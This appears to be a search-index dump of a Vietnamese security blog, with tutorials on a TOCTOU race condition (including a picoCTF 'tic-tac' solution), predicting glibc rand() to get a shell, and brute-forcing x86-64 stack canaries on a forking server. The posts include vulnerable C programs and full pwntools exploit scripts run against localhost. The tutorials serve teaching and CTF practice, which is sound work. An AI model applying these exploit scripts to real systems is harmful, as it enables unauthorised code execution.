vuln.c\n#include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;sys/stat.h\u0026gt; #include \u0026lt;libgen.h\u0026gt; #include \u0026lt;stddef.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; int main( int argc, char **argv) { int fd = open(argv[1],O_WRONLY | O_CREAT | O_TRUNC,0755); write(fd,\u0026#34;#!/bin/sh\\necho SAFE\\n\u0026#34;,20); close(fd); execl(\u0026#34;/bin/sh\u0026#34;,\u0026#34;/bin/sh\u0026#34;,argv[1],NULL); } Code này sẽ ghi bash script vào file đến từ argument đầu của ta và thực thi nó\nTiếp theo tạo thêm flag, file để test exploit :\nfile flag file catflag là bash script dùng để cat flag #!/bin/sh cat flag 2. Demo exploit # a. Bài setup # Ở đây ta chia hướng hoạt động của chương trình thành 3 việc nhỏ:\nMở file từ argument đầu Ghi file Thực thi file Ta có nhận xét là chương trình không check việc file đang thực thi có đúng là file ta đã mở không nên có có thể tấn công bằng TOCTOU nhờ vào file catflag cho sẵn.\nTa có hướng tấn công như sau : tạo một process chạy song song để ghi đè cat flag vào sau khi process gốc thực hiện xong việc \u0026ldquo;ghi file\u0026rdquo;. Để thực hiện được điều đó ta cần timing hợp lý (tuỳ vào nhân phẩm).\nDo đó ta viết shell script để spam việc copy content của file catflag sang file test tạo ra từ chương trình\nwhile /bin/true; do cp -v catflag test;done Sau đó ta mở tab khác để chạy chương trình gốc.\nTa có nhận xét là không phải cứ chạy là rà flag mà tuỳ vào thời cơ.\nb. tic-tac (PICO-CTF-2023) # Đề bài cho ta 3 file gồm: flag.txt, src.cpp và file binary txtreader.\nFile source như sau:\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;fstream\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/stat.h\u0026gt; int main(int argc, char *argv[]) { if (argc != 2) { std::cerr \u0026lt;\u0026lt; \u0026#34;Usage: \u0026#34; \u0026lt;\u0026lt; argv[0] \u0026lt;\u0026lt; \u0026#34; \u0026lt;filename\u0026gt;\u0026#34; \u0026lt;\u0026lt; std::endl; return 1; } std::string filename = argv[1]; std::ifstream file(filename); struct stat statbuf; // Check the file\u0026#39;s status information. if (stat(filename.c_str(), \u0026amp;statbuf) == -1) { std::cerr \u0026lt;\u0026lt; \u0026#34;Error: Could not retrieve file information\u0026#34; \u0026lt;\u0026lt; std::endl; return 1; } // Check the file\u0026#39;s owner. if (statbuf.st_uid != getuid()) { std::cerr \u0026lt;\u0026lt; \u0026#34;Error: you don\u0026#39;t own this file\u0026#34; \u0026lt;\u0026lt; std::endl; return 1; } // Read the contents of the file. if (file.is_open()) { std::string line; while (getline(file, line)) { std::cout \u0026lt;\u0026lt; line \u0026lt;\u0026lt; std::endl; } } else { std::cerr \u0026lt;\u0026lt; \u0026#34;Error: Could not open file\u0026#34; \u0026lt;\u0026lt; std::endl; return 1; } return 0; } Ta cũng có thể chia cách hoạt động của chương trình thành 3 hướng như sau:\nNhận input Check input Mở input Do ở đây không có sẵn file nào giúp \u0026ldquo;thay thế\u0026rdquo; như trên nên ta sẽ lợi dụng bằng linking (ln) qua một file thứ 3.\nTa chia công việc linking thành 2 phần như sau\nLink file test với file src.c bằng ln -sf test src.c Link file test với file flag.txt bằng ln -sf test flag.txt Mục đích của ta là chạy 2 chương trình cùng lúc để trigger context giống ảnh\nDo file src.cpp khá dài nên mình ln qua file thứ 3 tên lmao, về bản chất thì logic không thay đổi .\nTiếp theo mình chạy lệnh này để thực hiện việc spam ln liên tiếp. Trong đó dấu \u0026amp; cuối cho phép ta thực hiện tiếp mà không phải đợi lệnh này xong.\nwhile true ; do ln -sf flag.txt test; ln -sf lmao test;done \u0026amp; Cuối cùng chạy lệnh này để trigger toctou bằng cách spam tiếp chương trình gốc\nfor i in {1..100}; do ./txtreader test ;done Và hên là ta đã có flag\nTham khảo # pwn.college Exploiting a Race Condition ","date":"4 July 2023","externalUrl":null,"permalink":"/blog/toctou/","section":"Blog","summary":" Images not loading? Try accessing this site using a VPN. Trong bài này mình sẽ giới thiệu qua về TOCTOU (time of check - time of use), một hướng khai thác trong race condition cũng như cách setup đơn giản để khai thác và giải một số bài minh hoạ.\n","title":"TOCTOU attack","type":"blog"},{"content":"","date":"12 May 2023","externalUrl":null,"permalink":"/tags/rand/","section":"Tags","summary":"","title":"Rand","type":"tags"},{"content":" Images not loading? Try accessing this site using a VPN. Vấn đề # Giả sử ta có đoạn code sau đây được compile bằng gcc -o rand rand.c\n#include \u0026lt;stdio.h\u0026gt; int main() { int input ; scanf(\u0026#34;%d\u0026#34;,\u0026amp;input) ; srand(time(NULL)); if (rand() == input) system(\u0026#34;/bin/sh\u0026#34;); else puts(\u0026#34;NOOB\u0026#34;) ; return 0 ; } Mục đích của ta là làm sao để input bằng output của rand() trong C. Để giải quyết được bài toán này, ta sẽ tìm hiểu sơ lược về pseudorandom number generator (PRNG) cũng như cách hàm rand() được implement trong glibc.\nĐiều gì làm một số random là một số random ? # 1. Pseudorandom number generator # Hiểu một cách đơn giản, số random thực sự là một số được tạo ra hoàn toàn ngầu nhiên, không sinh ra dựa trên quy luật hay bất kỳ mục đích nào cả. Ví dụ đơn giản nhất chính là mật độ khí $O_2$ hiện tại trong phòng bạn, tiếng ồn ở một nơi bất kỳ, tung xí ngầu,\u0026hellip; Và vì thế, các trường hợp mà bạn có khả năng điều khiển các dữ kiện gốc hay nói một cách khác là tạo ra dựa trên một quy luật, một thuật toán sinh nào đó thì được gọi là PRNG.\nĐể phục vụ nhu cầu tạo số random trên máy tính người ta đã đến với một giải pháp là sử dụng deterministic algorithm để tạo ra một số trong có vẻ là random nhưng thực chất là không random. Một trong những cách để implement nó chính là sử dụng linear congruential generator, và cách này được sài ở hàm rand() trong C.\n2. Linear congruential generator (LCG) # Thuật toán này nhằm mục đích tạo ra một số random dựa trên một seed cho trước. Điều này đồng nghĩa với việc nếu ta lấy cùng một seed đó để sinh ra trong mỗi lần chạy chương trình thì vẫn được các số random ra y chang nhau.\nCông thức truy hồi của LCG như sau: $x_{n+1} = (ax_n + c) \\mod m$\nTrong đó :\n$x_n$ là số random trước đó $x_{n+1}$ là số random sẽ được tạo ra $a, c, m$ là hằng số quyết định tính chất của số random $x_0$ là seed được cung cấp. rand() trong glibc # Hàm rand() trong C sẽ gọi tới__random() và __random_r() sẽ đảm nhận việc tạo ra số random\nTrong đó, __random_r() sử dụng 2 cơ chế để random, single state (khúc trong if TYPE_0) và khúc multistate (mình tự gọi).\nSingle state là thuật toán đơn giản vì chỉ sử dụng duy nhất một \u0026ldquo;kiểu\u0026rdquo; sinh. Thuật toán này có khuyết điểm là với một số nào đó được sinh ra thì ta sẽ gặp lại số đó sau $2^{31}$ lần gọi rand(). Cách này được gọi là TYPE_0 trong source glibc.\nMultistate cho phép ta gặp lại số trùng nhau do đã có một vài cải tiến so với thuật toán trên. State này hoạt động như sau :\nVới một seed s, và mảng $r_0\u0026hellip;r_{33}$, số được sinh ra sẽ thoả:\n$r_0 = s$ $r_i = (16807 \\times (\\text{signed int}) r_{i-1}) \\mod 2147483647$ (i = 1 \u0026hellip; 30) $r_i = r_{i-31}$ (i = 31\u0026hellip;33) Từ $r_{34}$ trở đi thuật toán sẽ thành:\n$r_i = (r_{i-3} + r_{i-31}) \\mod 4294967296$ (i ≥ 34) Kết quả hàm rand() thứ i sẽ là: $r_i + 344 \u0026raquo; 1$ Khi ta set seed bằng srand() thì sẽ mặc định sài cái multistate Ta có code chạy multistate được viết lại như sau:\n#include \u0026lt;stdio.h\u0026gt; #define MAX 1000 #define seed SET_YOURS main() { int r[MAX]; int i; r[0] = seed; for (i=1; i\u0026lt;31; i++) { r[i] = (16807LL * r[i-1]) % 2147483647; if (r[i] \u0026lt; 0) { r[i] += 2147483647; } } for (i=31; i\u0026lt;34; i++) { r[i] = r[i-31]; } for (i=34; i\u0026lt;344; i++) { r[i] = r[i-31] + r[i-3]; } for (i=344; i\u0026lt;MAX; i++) { r[i] = r[i-31] + r[i-3]; printf(\u0026#34;%d\\n\u0026#34;, ((unsigned int)r[i]) \u0026gt;\u0026gt; 1); } } Nếu bạn compile rồi chạy thử code trên thì số được tạo ra sẽ y chang khi sài rand()\nKhai thác # Vậy ta đã biết sơ lược về cách hàm rand() hoạt động trong C. Với code đề bài đưa ra, ta có nhận xét là seed được tạo ra chính là thời điểm ta kết nối với server. Trong python có một thư viện hữu ích Ctypes, cho phép sử dụng các hàm có sẵn trong C (nếu bạn không thích sài thì code lại nguyên hàm time() cũng như rand() cũng được). Ở đây ta thấy time() sẽ được tính kể từ thời điểm chương trình gọi nó, do vậy khi code python ta chạy thì hên xui sẽ có một độ delay nhất định so với server. Do vậy nếu không được ta sẽ thử từng time+1, time+2,... để đồng bộ.\nScript :\nfrom pwn import * from ctypes import CDLL libc = CDLL(\u0026#34;/lib/x86_64-linux-gnu/libc.so.6\u0026#34;) p = remote(\u0026#34;localhost\u0026#34;,6666) libc.srand(libc.time(0)) p.sendline(str(libc.rand())) p.interactive() Ở đây hên là code mình đồng bộ với server luôn. Chạy và ta có được shell\nReferences # The GLIBC random number generator glibc rand function implementation rand() source ","date":"12 May 2023","externalUrl":null,"permalink":"/blog/randvuln/","section":"Blog","summary":" Images not loading? Try accessing this site using a VPN. Vấn đề # Giả sử ta có đoạn code sau đây được compile bằng gcc -o rand rand.c\n","title":"rand() vulnerability","type":"blog"},{"content":"","date":"28 April 2023","externalUrl":null,"permalink":"/tags/bruteforce/","section":"Tags","summary":"","title":"Bruteforce","type":"tags"},{"content":" Images not loading? Try accessing this site using a VPN. I. Giới thiệu # Như ở bài trước ta đã biết được stack canary là một cơ chế để ngăn chặn buffer overflow. Đây là một giá trị để trước return address và được check trước khi return 1 stack frame nhằm tránh overflow. Do đó để chuyển hướng hoạt động của chương trình, ta cần tấn công bằng 1 trong 2 cách sau: leak hoặc bruteforce stack canary. Trong bài này sẽ tấn công bằng cách thứ 2.\nII. Chương trình khai thác # CODE #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;sys/socket.h\u0026gt; #include \u0026lt;netinet/in.h\u0026gt; #include \u0026lt;arpa/inet.h\u0026gt; #define PORT 6969 int client = 0 ; void vuln(int client_socket) { char *output = \u0026#34;vuln read : \u0026#34;; char n[10] ; send(client_socket, output, strlen(output), 0); read(client_socket,n,0x1000); } void win() { send(client,\u0026#34;YOU WIN\u0026#34;,strlen(\u0026#34;YOU WIN\u0026#34;),0) ; } int main() { int server_fd, new_socket, valread; struct sockaddr_in address; int addrlen = sizeof(address); // Create socket file descriptor if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { perror(\u0026#34;socket failed\u0026#34;); exit(EXIT_FAILURE); } // Set socket options int opt = 1; if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, \u0026amp;opt, sizeof(opt))) { perror(\u0026#34;setsockopt\u0026#34;); exit(EXIT_FAILURE); } // Bind socket to port address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons(PORT); if (bind(server_fd, (struct sockaddr *)\u0026amp;address, sizeof(address)) \u0026lt; 0) { perror(\u0026#34;bind failed\u0026#34;); exit(EXIT_FAILURE); } // Listen for incoming connections if (listen(server_fd, 3) \u0026lt; 0) { perror(\u0026#34;listen\u0026#34;); exit(EXIT_FAILURE); } while (1) { // Accept incoming connection if ((new_socket = accept(server_fd, (struct sockaddr *)\u0026amp;address, (socklen_t *)\u0026amp;addrlen)) \u0026lt; 0) { perror(\u0026#34;accept\u0026#34;); exit(EXIT_FAILURE); } // Fork a new process to handle the connection pid_t pid = fork(); if (pid \u0026lt; 0) { perror(\u0026#34;fork failed\u0026#34;); exit(EXIT_FAILURE); } else if (pid == 0) { // Child process close(server_fd); // Call prog function and send output to client client = new_socket ; vuln(new_socket); send(new_socket,\u0026#34;NO OVERFLOW\\n\u0026#34;,strlen(\u0026#34;NO OVERFLOW\\n\u0026#34;),0); close(new_socket); exit(EXIT_SUCCESS); } else { // Parent process close(new_socket); } } return 0; } Giả sử đây là chương trình chạy trên server và được build bằng lệnh gcc -o test test.c -no-pie.\nĐọc code thì ta thấy hướng hoạt động của chương trình trên như sau: chương trình tạo socket cho client kết nối ở localhost 6969 (chạy local trên máy) sau đó với mỗi client kết nối nó sẽ fork() chính process này cho client. Ngoài ra ta dễ dàng thấy có lỗi BOF ở vuln\nTiếp theo ta tham khảo hàm fork()\nĐây là một syscall trên linux cho phép ta dublicate process gọi nó. Process con sẽ được spawn ra có cùng content với parent. Điều này đồng nghĩa với giá trị stack canary cũng không đổi\nDo đó ta có thể lợi dụng nó để bruteforce stack canary\nIII. Bruteforce # Ta biết được canary ở x86-64 là một số 8 byte mà byte cuối luôn tận cùng là /x00\nDo đó sẽ có ít nhất 255^7 tức 70110209207109375 giá trị tồn tại. Vì vậy nếu thử từng số thì không biết khi nào mới xong.\nCho nên ta sẽ sài một hướng khác, và hướng này chính là bruteforces từng byte. Khi ta thử từng byte như vậy, nếu một byte không thoả thì chương trình sẽ exit và báo lỗi, nếu thoả thì chương trình thực thi tiếp và ta sẽ lưu lại byte đó để bruteforce byte kế tiếp.\nCách này tối ưu hơn vì 1 byte có 255 giá trị, và ta có 7 byte cần bruteforce do đó sẽ có nhiều nhất : 255+255+255+255+255+255+255 (1785) lần thử, và nó thấp đáng kể so với cách kia\nIV. Exploit # Ta đã biết hướng khai thác vậy ta sẽ viết script\nĐầu tiên ta gdb để tìm offset. Do ta cần debug child process sinh ra từ fork() nên ta cần để lệnh này trong gdb\nTa nhận thấy ta cần padding 10 byte rồi tới stack canary, sau đó là padding thêm 8 byte, cuối cùng là return address\nTiếp theo ta viết script bruteforce bằng python như sau\ndef brute_cana(): p = remote(\u0026#34;localhost\u0026#34;,6969) payload = \u0026#39;A\u0026#39;*10 canary = \u0026#34;\\x00\u0026#34; for step in range(0,7): for i in range(0,256): leak = b\u0026#34;\u0026#34; try: sent = payload + canary + chr(i) p.sendafter(b\u0026#39;vuln read : \u0026#39;,sent) leak = p.recvline() except EOFError: p.close() p.clean() p = remote(\u0026#34;localhost\u0026#34;,6969) if (len(leak) \u0026gt; 3) : canary += chr(i) break print(\u0026#34;[+] Canary =\u0026#34;,hex(u64(canary))) return u64(canary) Ở đây ta tạo một hàm tên brute_cana, sau đó ta kết nối với host bruteforce từng byte, nếu bị sai ở byte nào thì ta tiến hành kết nối lại và thực hiện tiếp quá trình trên. Ở đây nếu 1 byte bruteforce thành công thì server sẽ send NO OVERFLOW không thì không có gì nên ta lợi dụng nó để biết khi nào làm tiếp byte tiếp theo.\nTiếp theo ta chạy thử thì được canary.\nVậy tới đây ta lo được canary, việc còn lại là overwrite return address bằng ret2libc để lấy shell hay ở đây mình ret2win để minh hoạ.\nĐịa chỉ hàm win\nỞ đây ta thấy cần padding 8 byte rồi mới tới ret address Cuối cùng viết script:\ndef get_shell(): p = remote(\u0026#34;localhost\u0026#34;,6969) payload = b\u0026#39;a\u0026#39;*10 +p64(brute_cana())+ b\u0026#39;a\u0026#39;*8 + p64(0x40134e) p.sendafter(b\u0026#39;vuln read : \u0026#39;,payload) p.interactive() Full script: from pwn import * #exe = ELF(\u0026#34;test\u0026#34;) def brute_cana(): p = remote(\u0026#34;localhost\u0026#34;,6969) payload = \u0026#39;A\u0026#39;*10 canary = \u0026#34;\\x00\u0026#34; for step in range(0,7): for i in range(0,256): leak = b\u0026#34;\u0026#34; try: sent = payload + canary + chr(i) p.sendafter(b\u0026#39;vuln read : \u0026#39;,sent) leak = p.recvline() except EOFError: p.close() p.clean() p = remote(\u0026#34;localhost\u0026#34;,6969) if (len(leak) \u0026gt; 3) : canary += chr(i) break print(\u0026#34;[+] Canary =\u0026#34;,hex(u64(canary))) return u64(canary) def get_shell(): p = remote(\u0026#34;localhost\u0026#34;,6969) payload = b\u0026#39;a\u0026#39;*10 +p64(brute_cana())+ b\u0026#39;a\u0026#39;*8 + p64(0x40134e) p.sendafter(b\u0026#39;vuln read : \u0026#39;,payload) p.interactive() if __name__ == \u0026#34;__main__\u0026#34;: get_shell() Chạy thử và ta overwrite thành công\nV. References # Brute-Forcing x86 Stack Canaries Fork linux man page ","date":"28 April 2023","externalUrl":null,"permalink":"/blog/brutecanary/","section":"Blog","summary":" Images not loading? Try accessing this site using a VPN. I. Giới thiệu # Như ở bài trước ta đã biết được stack canary là một cơ chế để ngăn chặn buffer overflow. Đây là một giá trị để trước return address và được check trước khi return 1 stack frame nhằm tránh overflow. Do đó để chuyển hướng hoạt động của chương trình, ta cần tấn công bằng 1 trong 2 cách sau: leak hoặc bruteforce stack canary. Trong bài này sẽ tấn công bằng cách thứ 2.\n","title":"Bruteforce Stack Canary x86-64 Linux","type":"blog"},{"content":" whoami # I\u0026rsquo;m a security researcher interested in binary exploitation. Noob pwner @ KCSC / UniverSea Currently focusing on Windows kernel / usermode vulnerabilities (anything that runs on Windows, lmao). If you have any questions, feel free to DM me on Discord or X. Email: ryan@pwnn.me\n","externalUrl":null,"permalink":"/about/","section":"wh0isthatguy","summary":"whoami # I’m a security researcher interested in binary exploitation. Noob pwner @ KCSC / UniverSea Currently focusing on Windows kernel / usermode vulnerabilities (anything that runs on Windows, lmao). If you have any questions, feel free to DM me on Discord or X. Email: ryan@pwnn.me\n","title":"About","type":"page"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]